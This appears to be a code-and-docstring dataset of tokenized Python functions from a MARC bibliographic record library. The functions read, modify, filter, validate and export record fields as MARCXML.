{"signature": "def record_modify_controlfield(rec, tag, controlfield_value,<EOL>field_position_global=None,<EOL>field_position_local=None):", "body": "field = record_get_field(<EOL>rec, tag,<EOL>field_position_global=field_position_global,<EOL>field_position_local=field_position_local)<EOL>new_field = (field[<NUM_LIT:0>], field[<NUM_LIT:1>], field[<NUM_LIT:2>], controlfield_value, field[<NUM_LIT:4>])<EOL>record_replace_field(<EOL>rec, tag, new_field,<EOL>field_position_global=field_position_global,<EOL>field_position_local=field_position_local)<EOL>", "docstring": "Modify controlfield at position specified by tag and field number.", "id": "f7891:m19"}
{"signature": "def record_modify_subfield(rec, tag, subfield_code, value, subfield_position,<EOL>field_position_global=None,<EOL>field_position_local=None):", "body": "subfields = record_get_subfields(<EOL>rec, tag,<EOL>field_position_global=field_position_global,<EOL>field_position_local=field_position_local)<EOL>try:<EOL><INDENT>subfields[subfield_position] = (subfield_code, value)<EOL><DEDENT>except IndexError:<EOL><INDENT>raise InvenioBibRecordFieldError(<EOL>\"<STR_LIT>\" % subfield_position)<EOL><DEDENT>", "docstring": "Modify subfield at specified position.\n\n    Specify the subfield by tag, field number and subfield position.", "id": "f7891:m20"}
{"signature": "def record_move_subfield(rec, tag, subfield_position, new_subfield_position,<EOL>field_position_global=None,<EOL>field_position_local=None):", "body": "subfields = record_get_subfields(<EOL>rec,<EOL>tag,<EOL>field_position_global=field_position_global,<EOL>field_position_local=field_position_local)<EOL>try:<EOL><INDENT>subfield = subfields.pop(subfield_position)<EOL>subfields.insert(new_subfield_position, subfield)<EOL><DEDENT>except IndexError:<EOL><INDENT>raise InvenioBibRecordFieldError(<EOL>\"<STR_LIT>\" % subfield_position)<EOL><DEDENT>", "docstring": "Move subfield at specified position.\n\n    Sspecify the subfield by tag, field number and subfield position to new\n    subfield position.", "id": "f7891:m21"}
{"signature": "def record_get_field_value(rec, tag, ind1=\"<STR_LIT:U+0020>\", ind2=\"<STR_LIT:U+0020>\", code=\"<STR_LIT>\"):", "body": "<EOL>ind1, ind2 = _wash_indicators(ind1, ind2)<EOL>if '<STR_LIT:%>' in tag:<EOL><INDENT>if code == '<STR_LIT>':<EOL><INDENT>for field_tag, fields in list(rec.items()):<EOL><INDENT>if _tag_matches_pattern(field_tag, tag):<EOL><INDENT>for field in fields:<EOL><INDENT>if ind1 in ('<STR_LIT:%>', field[<NUM_LIT:1>]) and ind2 in ('<STR_LIT:%>', field[<NUM_LIT:2>]):<EOL><INDENT>if field[<NUM_LIT:3>]:<EOL><INDENT>return field[<NUM_LIT:3>]<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>elif code == '<STR_LIT:%>':<EOL><INDENT>for field_tag, fields in list(rec.items()):<EOL><INDENT>if _tag_matches_pattern(field_tag, tag):<EOL><INDENT>for field in fields:<EOL><INDENT>if (ind1 in ('<STR_LIT:%>', field[<NUM_LIT:1>]) and<EOL>ind2 in ('<STR_LIT:%>', field[<NUM_LIT:2>]) and field[<NUM_LIT:0>]):<EOL><INDENT>return field[<NUM_LIT:0>][<NUM_LIT:0>][<NUM_LIT:1>]<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for field_tag, fields in list(rec.items()):<EOL><INDENT>if _tag_matches_pattern(field_tag, tag):<EOL><INDENT>for field in fields:<EOL><INDENT>if ind1 in ('<STR_LIT:%>', field[<NUM_LIT:1>]) and ind2 in ('<STR_LIT:%>', field[<NUM_LIT:2>]):<EOL><INDENT>for subfield in field[<NUM_LIT:0>]:<EOL><INDENT>if subfield[<NUM_LIT:0>] == code:<EOL><INDENT>return subfield[<NUM_LIT:1>]<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if tag in rec:<EOL><INDENT>if code == '<STR_LIT>':<EOL><INDENT>for field in rec[tag]:<EOL><INDENT>if ind1 in ('<STR_LIT:%>', field[<NUM_LIT:1>]) and ind2 in ('<STR_LIT:%>', field[<NUM_LIT:2>]):<EOL><INDENT>if field[<NUM_LIT:3>]:<EOL><INDENT>return field[<NUM_LIT:3>]<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif code == '<STR_LIT:%>':<EOL><INDENT>for field in rec[tag]:<EOL><INDENT>if ind1 in ('<STR_LIT:%>', field[<NUM_LIT:1>]) and ind2 in ('<STR_LIT:%>', field[<NUM_LIT:2>]) andfield[<NUM_LIT:0>]:<EOL><INDENT>return field[<NUM_LIT:0>][<NUM_LIT:0>][<NUM_LIT:1>]<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for field in rec[tag]:<EOL><INDENT>if ind1 in ('<STR_LIT:%>', field[<NUM_LIT:1>]) and ind2 in ('<STR_LIT:%>', field[<NUM_LIT:2>]):<EOL><INDENT>for subfield in field[<NUM_LIT:0>]:<EOL><INDENT>if subfield[<NUM_LIT:0>] == code:<EOL><INDENT>return subfield[<NUM_LIT:1>]<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return \"<STR_LIT>\"<EOL>", "docstring": "Return first (string) value that matches specified field of the record.\n\n    Returns empty string if not found.\n\n    Parameters (tag, ind1, ind2, code) can contain wildcard %.\n\n    Difference between wildcard % and empty '':\n\n    - Empty char specifies that we are not interested in a field which\n      has one of the indicator(s)/subfield specified.\n\n    - Wildcard specifies that we are interested in getting the value\n      of the field whatever the indicator(s)/subfield is.\n\n    For e.g. consider the following record in MARC::\n\n        100C5  $$a val1\n        555AB  $$a val2\n        555AB      val3\n        555    $$a val4\n        555A       val5\n\n    .. doctest::\n\n        >>> record_get_field_value(record, '555', 'A', '', '')\n        \"val5\"\n        >>> record_get_field_value(record, '555', 'A', '%', '')\n        \"val3\"\n        >>> record_get_field_value(record, '555', 'A', '%', '%')\n        \"val2\"\n        >>> record_get_field_value(record, '555', 'A', 'B', '')\n        \"val3\"\n        >>> record_get_field_value(record, '555', '', 'B', 'a')\n        \"\"\n        >>> record_get_field_value(record, '555', '', '', 'a')\n        \"val4\"\n        >>> record_get_field_value(record, '555', '', '', '')\n        \"\"\n        >>> record_get_field_value(record, '%%%', '%', '%', '%')\n        \"val1\"\n\n    :param rec: a record structure as returned by create_record()\n    :param tag: a 3 characters long string\n    :param ind1: a 1 character long string\n    :param ind2: a 1 character long string\n    :param code: a 1 character long string\n    :return: string value (empty if nothing found)", "id": "f7891:m22"}
{"signature": "def record_get_field_values(rec, tag, ind1=\"<STR_LIT:U+0020>\", ind2=\"<STR_LIT:U+0020>\", code=\"<STR_LIT>\",<EOL>filter_subfield_code=\"<STR_LIT>\",<EOL>filter_subfield_value=\"<STR_LIT>\",<EOL>filter_subfield_mode=\"<STR_LIT:e>\"):", "body": "tmp = []<EOL>ind1, ind2 = _wash_indicators(ind1, ind2)<EOL>if filter_subfield_code and filter_subfield_mode == \"<STR_LIT:r>\":<EOL><INDENT>reg_exp = re.compile(filter_subfield_value)<EOL><DEDENT>tags = []<EOL>if '<STR_LIT:%>' in tag:<EOL><INDENT>tags = [k for k in rec if _tag_matches_pattern(k, tag)]<EOL><DEDENT>elif rec and tag in rec:<EOL><INDENT>tags = [tag]<EOL><DEDENT>if code == '<STR_LIT>':<EOL><INDENT>for tag in tags:<EOL><INDENT>for field in rec[tag]:<EOL><INDENT>if (ind1 in ('<STR_LIT:%>', field[<NUM_LIT:1>]) and ind2 in ('<STR_LIT:%>', field[<NUM_LIT:2>]) and<EOL>field[<NUM_LIT:3>]):<EOL><INDENT>tmp.append(field[<NUM_LIT:3>])<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif code == '<STR_LIT:%>':<EOL><INDENT>for tag in tags:<EOL><INDENT>for field in rec[tag]:<EOL><INDENT>if ind1 in ('<STR_LIT:%>', field[<NUM_LIT:1>]) and ind2 in ('<STR_LIT:%>', field[<NUM_LIT:2>]):<EOL><INDENT>if filter_subfield_code:<EOL><INDENT>if filter_subfield_mode == \"<STR_LIT:e>\":<EOL><INDENT>subfield_to_match = (filter_subfield_code,<EOL>filter_subfield_value)<EOL>if subfield_to_match in field[<NUM_LIT:0>]:<EOL><INDENT>for subfield in field[<NUM_LIT:0>]:<EOL><INDENT>tmp.append(subfield[<NUM_LIT:1>])<EOL><DEDENT><DEDENT><DEDENT>elif filter_subfield_mode == \"<STR_LIT:s>\":<EOL><INDENT>if (dict(field[<NUM_LIT:0>]).get(filter_subfield_code, '<STR_LIT>')).find(filter_subfield_value) > -<NUM_LIT:1>:<EOL><INDENT>for subfield in field[<NUM_LIT:0>]:<EOL><INDENT>tmp.append(subfield[<NUM_LIT:1>])<EOL><DEDENT><DEDENT><DEDENT>elif filter_subfield_mode == \"<STR_LIT:r>\":<EOL><INDENT>if reg_exp.match(dict(field[<NUM_LIT:0>])<EOL>.get(filter_subfield_code, '<STR_LIT>')):<EOL><INDENT>for subfield in field[<NUM_LIT:0>]:<EOL><INDENT>tmp.append(subfield[<NUM_LIT:1>])<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for subfield in field[<NUM_LIT:0>]:<EOL><INDENT>tmp.append(subfield[<NUM_LIT:1>])<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for tag in tags:<EOL><INDENT>for field in rec[tag]:<EOL><INDENT>if ind1 in ('<STR_LIT:%>', field[<NUM_LIT:1>]) and ind2 in ('<STR_LIT:%>', field[<NUM_LIT:2>]):<EOL><INDENT>if filter_subfield_code:<EOL><INDENT>if filter_subfield_mode == \"<STR_LIT:e>\":<EOL><INDENT>subfield_to_match = (filter_subfield_code,<EOL>filter_subfield_value)<EOL>if subfield_to_match in field[<NUM_LIT:0>]:<EOL><INDENT>for subfield in field[<NUM_LIT:0>]:<EOL><INDENT>if subfield[<NUM_LIT:0>] == code:<EOL><INDENT>tmp.append(subfield[<NUM_LIT:1>])<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif filter_subfield_mode == \"<STR_LIT:s>\":<EOL><INDENT>if (dict(field[<NUM_LIT:0>]).get(filter_subfield_code, '<STR_LIT>')).find(filter_subfield_value) > -<NUM_LIT:1>:<EOL><INDENT>for subfield in field[<NUM_LIT:0>]:<EOL><INDENT>if subfield[<NUM_LIT:0>] == code:<EOL><INDENT>tmp.append(subfield[<NUM_LIT:1>])<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif filter_subfield_mode == \"<STR_LIT:r>\":<EOL><INDENT>if reg_exp.match(dict(field[<NUM_LIT:0>])<EOL>.get(filter_subfield_code, '<STR_LIT>')):<EOL><INDENT>for subfield in field[<NUM_LIT:0>]:<EOL><INDENT>if subfield[<NUM_LIT:0>] == code:<EOL><INDENT>tmp.append(subfield[<NUM_LIT:1>])<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for subfield in field[<NUM_LIT:0>]:<EOL><INDENT>if subfield[<NUM_LIT:0>] == code:<EOL><INDENT>tmp.append(subfield[<NUM_LIT:1>])<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return tmp<EOL>", "docstring": "Return the list of values for the specified field of the record.\n\n    List can be filtered. Use filter_subfield_code\n    and filter_subfield_value to search\n    only in fields that have these values inside them as a subfield.\n    filter_subfield_mode can have 3 different values:\n    'e' for exact search\n    's' for substring search\n    'r' for regexp search\n\n    Returns empty list if nothing was found.\n\n    Parameters (tag, ind1, ind2, code) can contain wildcard %.\n\n    :param rec: a record structure as returned by create_record()\n    :param tag: a 3 characters long string\n    :param ind1: a 1 character long string\n    :param ind2: a 1 character long string\n    :param code: a 1 character long string\n    :return: a list of strings", "id": "f7891:m23"}
{"signature": "def record_xml_output(rec, tags=None, order_fn=None):", "body": "if tags is None:<EOL><INDENT>tags = []<EOL><DEDENT>if isinstance(tags, str):<EOL><INDENT>tags = [tags]<EOL><DEDENT>if tags and '<STR_LIT>' not in tags:<EOL><INDENT>tags.append('<STR_LIT>')<EOL><DEDENT>marcxml = ['<STR_LIT>']<EOL>fields = []<EOL>if rec is not None:<EOL><INDENT>for tag in rec:<EOL><INDENT>if not tags or tag in tags:<EOL><INDENT>for field in rec[tag]:<EOL><INDENT>fields.append((tag, field))<EOL><DEDENT><DEDENT><DEDENT>if order_fn is None:<EOL><INDENT>record_order_fields(fields)<EOL><DEDENT>else:<EOL><INDENT>record_order_fields(fields, order_fn)<EOL><DEDENT>for field in fields:<EOL><INDENT>marcxml.append(field_xml_output(field[<NUM_LIT:1>], field[<NUM_LIT:0>]))<EOL><DEDENT><DEDENT>marcxml.append('<STR_LIT>')<EOL>return '<STR_LIT:\\n>'.join(marcxml)<EOL>", "docstring": "Generate the XML for record 'rec'.\n\n    :param rec: record\n    :param tags: list of tags to be printed\n    :return: string", "id": "f7891:m24"}
{"signature": "def field_get_subfield_instances(field):", "body": "return field[<NUM_LIT:0>]<EOL>", "docstring": "Return the list of subfields associated with field 'field'.", "id": "f7891:m25"}
{"signature": "def field_get_subfield_values(field_instance, code):", "body": "return [subfield_value<EOL>for subfield_code, subfield_value in field_instance[<NUM_LIT:0>]<EOL>if subfield_code == code]<EOL>", "docstring": "Return subfield CODE values of the field instance FIELD.", "id": "f7891:m26"}
{"signature": "def field_get_subfield_codes(field_instance):", "body": "return [subfield_code<EOL>for subfield_code, subfield_value in field_instance[<NUM_LIT:0>]]<EOL>", "docstring": "Return subfield codes of the field instance FIELD.", "id": "f7891:m27"}
{"signature": "def field_add_subfield(field, code, value):", "body": "field[<NUM_LIT:0>].append((code, value))<EOL>", "docstring": "Add a subfield to field 'field'.", "id": "f7891:m28"}
{"signature": "def record_order_fields(rec, fun=\"<STR_LIT>\"):", "body": "rec.sort(eval(fun))<EOL>", "docstring": "Order field inside record 'rec' according to a function.", "id": "f7891:m29"}
{"signature": "def field_xml_output(field, tag):", "body": "marcxml = []<EOL>if field[<NUM_LIT:3>]:<EOL><INDENT>marcxml.append('<STR_LIT>' %<EOL>(tag, MathMLParser.html_to_text(field[<NUM_LIT:3>])))<EOL><DEDENT>else:<EOL><INDENT>marcxml.append('<STR_LIT>' %<EOL>(tag, field[<NUM_LIT:1>], field[<NUM_LIT:2>]))<EOL>marcxml += [_subfield_xml_output(subfield) for subfield in field[<NUM_LIT:0>]]<EOL>marcxml.append('<STR_LIT>')<EOL><DEDENT>return '<STR_LIT:\\n>'.join(marcxml)<EOL>", "docstring": "Generate the XML for field 'field' and returns it as a string.", "id": "f7891:m30"}
{"signature": "def record_extract_dois(record):", "body": "record_dois = []<EOL>tag = \"<STR_LIT>\"<EOL>ind1 = \"<STR_LIT>\"<EOL>ind2 = \"<STR_LIT:_>\"<EOL>subfield_source_code = \"<STR_LIT:2>\"<EOL>subfield_value_code = \"<STR_LIT:a>\"<EOL>identifiers_fields = record_get_field_instances(record, tag, ind1, ind2)<EOL>for identifer_field in identifiers_fields:<EOL><INDENT>if '<STR_LIT>' in [val.lower() for val in<EOL>field_get_subfield_values(identifer_field,<EOL>subfield_source_code)]:<EOL><INDENT>record_dois.extend(<EOL>field_get_subfield_values(<EOL>identifer_field,<EOL>subfield_value_code))<EOL><DEDENT><DEDENT>return record_dois<EOL>", "docstring": "Return the DOI(s) of the record.", "id": "f7891:m31"}
{"signature": "def print_rec(rec, format=<NUM_LIT:1>, tags=None):", "body": "if tags is None:<EOL><INDENT>tags = []<EOL><DEDENT>if format == <NUM_LIT:1>:<EOL><INDENT>text = record_xml_output(rec, tags)<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return text<EOL>", "docstring": "Print a record.\n\n:param format: 1 XML, 2 HTML (not implemented)\n:param tags: list of tags to be printed", "id": "f7891:m32"}
{"signature": "def print_recs(listofrec, format=<NUM_LIT:1>, tags=None):", "body": "if tags is None:<EOL><INDENT>tags = []<EOL><DEDENT>text = \"<STR_LIT>\"<EOL>if type(listofrec).__name__ != '<STR_LIT:list>':<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>for rec in listofrec:<EOL><INDENT>text = \"<STR_LIT>\" % (text, print_rec(rec, format, tags))<EOL><DEDENT><DEDENT>return text<EOL>", "docstring": "Print a list of records.\n\n:param format: 1 XML, 2 HTML (not implemented)\n:param tags: list of tags to be printed\n       if 'listofrec' is not a list it returns empty string", "id": "f7891:m33"}
{"signature": "def concat(alist):", "body": "newl = []<EOL>for l in alist:<EOL><INDENT>newl.extend(l)<EOL><DEDENT>return newl<EOL>", "docstring": "Concatenate a list of lists.", "id": "f7891:m34"}
{"signature": "def record_find_field(rec, tag, field, strict=False):", "body": "try:<EOL><INDENT>_check_field_validity(field)<EOL><DEDENT>except InvenioBibRecordFieldError:<EOL><INDENT>raise<EOL><DEDENT>for local_position, field1 in enumerate(rec.get(tag, [])):<EOL><INDENT>if _compare_fields(field, field1, strict):<EOL><INDENT>return (field1[<NUM_LIT:4>], local_position)<EOL><DEDENT><DEDENT>return (None, None)<EOL>", "docstring": "Return the global and local positions of the first occurrence of the field.\n\n:param rec:    A record dictionary structure\n:type  rec:    dictionary\n:param tag:    The tag of the field to search for\n:type  tag:    string\n:param field:  A field tuple as returned by create_field()\n:type  field:  tuple\n:param strict: A boolean describing the search method. If strict\n               is False, then the order of the subfields doesn't\n               matter. Default search method is strict.\n:type  strict: boolean\n:return:       A tuple of (global_position, local_position) or a\n               tuple (None, None) if the field is not present.\n:rtype:        tuple\n:raise InvenioBibRecordFieldError: If the provided field is invalid.", "id": "f7891:m35"}
{"signature": "def record_match_subfields(rec, tag, ind1=\"<STR_LIT:U+0020>\", ind2=\"<STR_LIT:U+0020>\", sub_key=None,<EOL>sub_value='<STR_LIT>', sub_key2=None, sub_value2='<STR_LIT>',<EOL>case_sensitive=True):", "body": "if sub_key is None:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if sub_key2 is not None and sub_value2 is '<STR_LIT>':<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\")<EOL><DEDENT>ind1, ind2 = _wash_indicators(ind1, ind2)<EOL>if not case_sensitive:<EOL><INDENT>sub_value = sub_value.lower()<EOL>sub_value2 = sub_value2.lower()<EOL><DEDENT>for field in record_get_field_instances(rec, tag, ind1, ind2):<EOL><INDENT>subfields = dict(field_get_subfield_instances(field))<EOL>if not case_sensitive:<EOL><INDENT>for k, v in subfields.items():<EOL><INDENT>subfields[k] = v.lower()<EOL><DEDENT><DEDENT>if sub_key in subfields:<EOL><INDENT>if sub_value is '<STR_LIT>':<EOL><INDENT>return field[<NUM_LIT:4>]<EOL><DEDENT>else:<EOL><INDENT>if sub_value == subfields[sub_key]:<EOL><INDENT>if sub_key2 is None:<EOL><INDENT>return field[<NUM_LIT:4>]<EOL><DEDENT>else:<EOL><INDENT>if sub_key2 in subfields:<EOL><INDENT>if sub_value2 == subfields[sub_key2]:<EOL><INDENT>return field[<NUM_LIT:4>]<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return False<EOL>", "docstring": "Find subfield instances in a particular field.\n\nIt tests values in 1 of 3 possible ways:\n - Does a subfield code exist? (ie does 773__a exist?)\n - Does a subfield have a particular value? (ie 773__a == 'PhysX')\n - Do a pair of subfields have particular values?\n    (ie 035__2 == 'CDS' and 035__a == '123456')\n\nParameters:\n * rec - dictionary: a bibrecord structure\n * tag - string: the tag of the field (ie '773')\n * ind1, ind2 - char: a single characters for the MARC indicators\n * sub_key - char: subfield key to find\n * sub_value - string: subfield value of that key\n * sub_key2 - char: key of subfield to compare against\n * sub_value2 - string: expected value of second subfield\n * case_sensitive - bool: be case sensitive when matching values\n\n:return: false if no match found, else provides the field position (int)", "id": "f7891:m36"}
{"signature": "def record_strip_empty_volatile_subfields(rec):", "body": "for tag in list(rec.keys()):<EOL><INDENT>for field in rec[tag]:<EOL><INDENT>field[<NUM_LIT:0>][:] = [subfield for subfield in field[<NUM_LIT:0>]<EOL>if subfield[<NUM_LIT:1>][:<NUM_LIT:9>] != \"<STR_LIT>\"]<EOL><DEDENT><DEDENT>", "docstring": "Remove unchanged volatile subfields from the record.", "id": "f7891:m37"}
{"signature": "def record_make_all_subfields_volatile(rec):", "body": "for tag in list(rec.keys()):<EOL><INDENT>for field_position, field in enumerate(rec[tag]):<EOL><INDENT>for subfield_position, subfield in enumerate(field[<NUM_LIT:0>]):<EOL><INDENT>if subfield[<NUM_LIT:1>][:<NUM_LIT:9>] != \"<STR_LIT>\":<EOL><INDENT>record_modify_subfield(rec, tag, subfield[<NUM_LIT:0>], \"<STR_LIT>\" + subfield[<NUM_LIT:1>],<EOL>subfield_position, field_position_local=field_position)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Turns all subfields to volatile", "id": "f7891:m38"}
{"signature": "def record_strip_empty_fields(rec, tag=None):", "body": "<EOL>if tag is None:<EOL><INDENT>tags = list(rec.keys())<EOL>for tag in tags:<EOL><INDENT>record_strip_empty_fields(rec, tag)<EOL><DEDENT><DEDENT>elif tag in rec:<EOL><INDENT>if tag[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>if len(rec[tag]) == <NUM_LIT:0> or not rec[tag][<NUM_LIT:0>][<NUM_LIT:3>]:<EOL><INDENT>del rec[tag]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>fields = []<EOL>for field in rec[tag]:<EOL><INDENT>subfields = []<EOL>for subfield in field[<NUM_LIT:0>]:<EOL><INDENT>if subfield[<NUM_LIT:1>]:<EOL><INDENT>subfield = (subfield[<NUM_LIT:0>], subfield[<NUM_LIT:1>].strip())<EOL>subfields.append(subfield)<EOL><DEDENT><DEDENT>if len(subfields) > <NUM_LIT:0>:<EOL><INDENT>new_field = create_field(subfields, field[<NUM_LIT:1>], field[<NUM_LIT:2>],<EOL>field[<NUM_LIT:3>])<EOL>fields.append(new_field)<EOL><DEDENT><DEDENT>if len(fields) > <NUM_LIT:0>:<EOL><INDENT>rec[tag] = fields<EOL><DEDENT>else:<EOL><INDENT>del rec[tag]<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Remove empty subfields and fields from the record.\n\nIf 'tag' is not None, only a specific tag of the record will be stripped,\notherwise the whole record.\n\n:param rec:  A record dictionary structure\n:type  rec:  dictionary\n:param tag:  The tag of the field to strip empty fields from\n:type  tag:  string", "id": "f7891:m39"}
{"signature": "def record_strip_controlfields(rec):", "body": "for tag in list(rec.keys()):<EOL><INDENT>if tag[:<NUM_LIT:2>] == '<STR_LIT>' and rec[tag][<NUM_LIT:0>][<NUM_LIT:3>]:<EOL><INDENT>del rec[tag]<EOL><DEDENT><DEDENT>", "docstring": "Remove all non-empty controlfields from the record.\n\n:param rec:  A record dictionary structure\n:type  rec:  dictionary", "id": "f7891:m40"}
{"signature": "def record_order_subfields(rec, tag=None):", "body": "if rec is None:<EOL><INDENT>return rec<EOL><DEDENT>if tag is None:<EOL><INDENT>tags = list(rec.keys())<EOL>for tag in tags:<EOL><INDENT>record_order_subfields(rec, tag)<EOL><DEDENT><DEDENT>elif tag in rec:<EOL><INDENT>for i in range(len(rec[tag])):<EOL><INDENT>field = rec[tag][i]<EOL>ordered_subfields = sorted(field[<NUM_LIT:0>],<EOL>key=lambda subfield: subfield[<NUM_LIT:0>])<EOL>rec[tag][i] = (ordered_subfields, field[<NUM_LIT:1>], field[<NUM_LIT:2>], field[<NUM_LIT:3>],<EOL>field[<NUM_LIT:4>])<EOL><DEDENT><DEDENT>", "docstring": "Order subfields from a record alphabetically based on subfield code.\n\nIf 'tag' is not None, only a specific tag of the record will be reordered,\notherwise the whole record.\n\n:param rec: bibrecord\n:type rec: bibrec\n:param tag: tag where the subfields will be ordered\n:type tag: str", "id": "f7891:m41"}
{"signature": "def record_empty(rec):", "body": "for key in rec.keys():<EOL><INDENT>if key not in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "TODO.", "id": "f7891:m42"}
{"signature": "def field_get_subfields(field):", "body": "pairs = {}<EOL>for key, value in field[<NUM_LIT:0>]:<EOL><INDENT>if key in pairs and pairs[key] != value:<EOL><INDENT>pairs[key].append(value)<EOL><DEDENT>else:<EOL><INDENT>pairs[key] = [value]<EOL><DEDENT><DEDENT>return pairs<EOL>", "docstring": "Given a field, will place all subfields into a dictionary\n    Parameters:\n     * field - tuple: The field to get subfields for\n    Returns: a dictionary, codes as keys and a list of values as the value", "id": "f7891:m43"}
{"signature": "def field_swap_subfields(field, subs):", "body": "return subs, field[<NUM_LIT:1>], field[<NUM_LIT:2>], field[<NUM_LIT:3>], field[<NUM_LIT:4>]<EOL>", "docstring": "Recreates a field with a new set of subfields", "id": "f7891:m44"}
{"signature": "def _compare_fields(field1, field2, strict=True):", "body": "if strict:<EOL><INDENT>return field1[:<NUM_LIT:4>] == field2[:<NUM_LIT:4>]<EOL><DEDENT>else:<EOL><INDENT>if field1[<NUM_LIT:1>:<NUM_LIT:4>] != field2[<NUM_LIT:1>:<NUM_LIT:4>]:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return set(field1[<NUM_LIT:0>]) == set(field2[<NUM_LIT:0>])<EOL><DEDENT><DEDENT>", "docstring": "Compare 2 fields.\n\nIf strict is True, then the order of the subfield will be taken care of, if\nnot then the order of the subfields doesn't matter.\n\n:return: True if the field are equivalent, False otherwise.", "id": "f7891:m45"}
{"signature": "def _check_field_validity(field):", "body": "if type(field) not in (list, tuple):<EOL><INDENT>raise InvenioBibRecordFieldError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % type(field))<EOL><DEDENT>if len(field) != <NUM_LIT:5>:<EOL><INDENT>raise InvenioBibRecordFieldError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % len(field))<EOL><DEDENT>if type(field[<NUM_LIT:0>]) not in (list, tuple):<EOL><INDENT>raise InvenioBibRecordFieldError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % type(field[<NUM_LIT:0>]))<EOL><DEDENT>if type(field[<NUM_LIT:1>]) is not str:<EOL><INDENT>raise InvenioBibRecordFieldError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % type(field[<NUM_LIT:1>]))<EOL><DEDENT>if type(field[<NUM_LIT:2>]) is not str:<EOL><INDENT>raise InvenioBibRecordFieldError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % type(field[<NUM_LIT:2>]))<EOL><DEDENT>if type(field[<NUM_LIT:3>]) is not str:<EOL><INDENT>raise InvenioBibRecordFieldError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % type(field[<NUM_LIT:3>]))<EOL><DEDENT>if type(field[<NUM_LIT:4>]) is not int:<EOL><INDENT>raise InvenioBibRecordFieldError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % type(field[<NUM_LIT:4>]))<EOL><DEDENT>for subfield in field[<NUM_LIT:0>]:<EOL><INDENT>if (type(subfield) not in (list, tuple) or<EOL>len(subfield) != <NUM_LIT:2> or type(subfield[<NUM_LIT:0>]) is not str or<EOL>type(subfield[<NUM_LIT:1>]) is not str):<EOL><INDENT>raise InvenioBibRecordFieldError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Check if a field is well-formed.\n\n:param field: A field tuple as returned by create_field()\n:type field:  tuple\n:raise InvenioBibRecordFieldError: If the field is invalid.", "id": "f7891:m46"}
{"signature": "def _shift_field_positions_global(record, start, delta=<NUM_LIT:1>):", "body": "if not delta:<EOL><INDENT>return<EOL><DEDENT>for tag, fields in list(record.items()):<EOL><INDENT>newfields = []<EOL>for field in fields:<EOL><INDENT>if field[<NUM_LIT:4>] < start:<EOL><INDENT>newfields.append(field)<EOL><DEDENT>else:<EOL><INDENT>newfields.append(tuple(list(field[:<NUM_LIT:4>]) + [field[<NUM_LIT:4>] + delta]))<EOL><DEDENT><DEDENT>record[tag] = newfields<EOL><DEDENT>", "docstring": "Shift all global field positions.\n\nShift all global field positions with global field positions\nhigher or equal to 'start' from the value 'delta'.", "id": "f7891:m47"}
{"signature": "def _tag_matches_pattern(tag, pattern):", "body": "for char1, char2 in zip(tag, pattern):<EOL><INDENT>if char2 not in ('<STR_LIT:%>', char1):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Return true if MARC 'tag' matches a 'pattern'.\n\n    'pattern' is plain text, with % as wildcard\n\n    Both parameters must be 3 characters long strings.\n\n    .. doctest::\n\n        >>> _tag_matches_pattern(\"909\", \"909\")\n        True\n        >>> _tag_matches_pattern(\"909\", \"9%9\")\n        True\n        >>> _tag_matches_pattern(\"909\", \"9%8\")\n        False\n\n    :param tag: a 3 characters long string\n    :param pattern: a 3 characters long string\n    :return: False or True", "id": "f7891:m48"}
{"signature": "def _validate_record_field_positions_global(record):", "body": "all_fields = []<EOL>for tag, fields in list(record.items()):<EOL><INDENT>previous_field_position_global = -<NUM_LIT:1><EOL>for field in fields:<EOL><INDENT>if field[<NUM_LIT:4>] < previous_field_position_global:<EOL><INDENT>return (\"<STR_LIT>\" %<EOL>tag)<EOL><DEDENT>previous_field_position_global = field[<NUM_LIT:4>]<EOL>if field[<NUM_LIT:4>] in all_fields:<EOL><INDENT>return (\"<STR_LIT>\" %<EOL>(field[<NUM_LIT:4>], tag))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Check if the global field positions in the record are valid.\n\nI.e., no duplicate global field positions and local field positions in the\nlist of fields are ascending.\n\n:param record: the record data structure\n:return: the first error found as a string or None if no error was found", "id": "f7891:m49"}
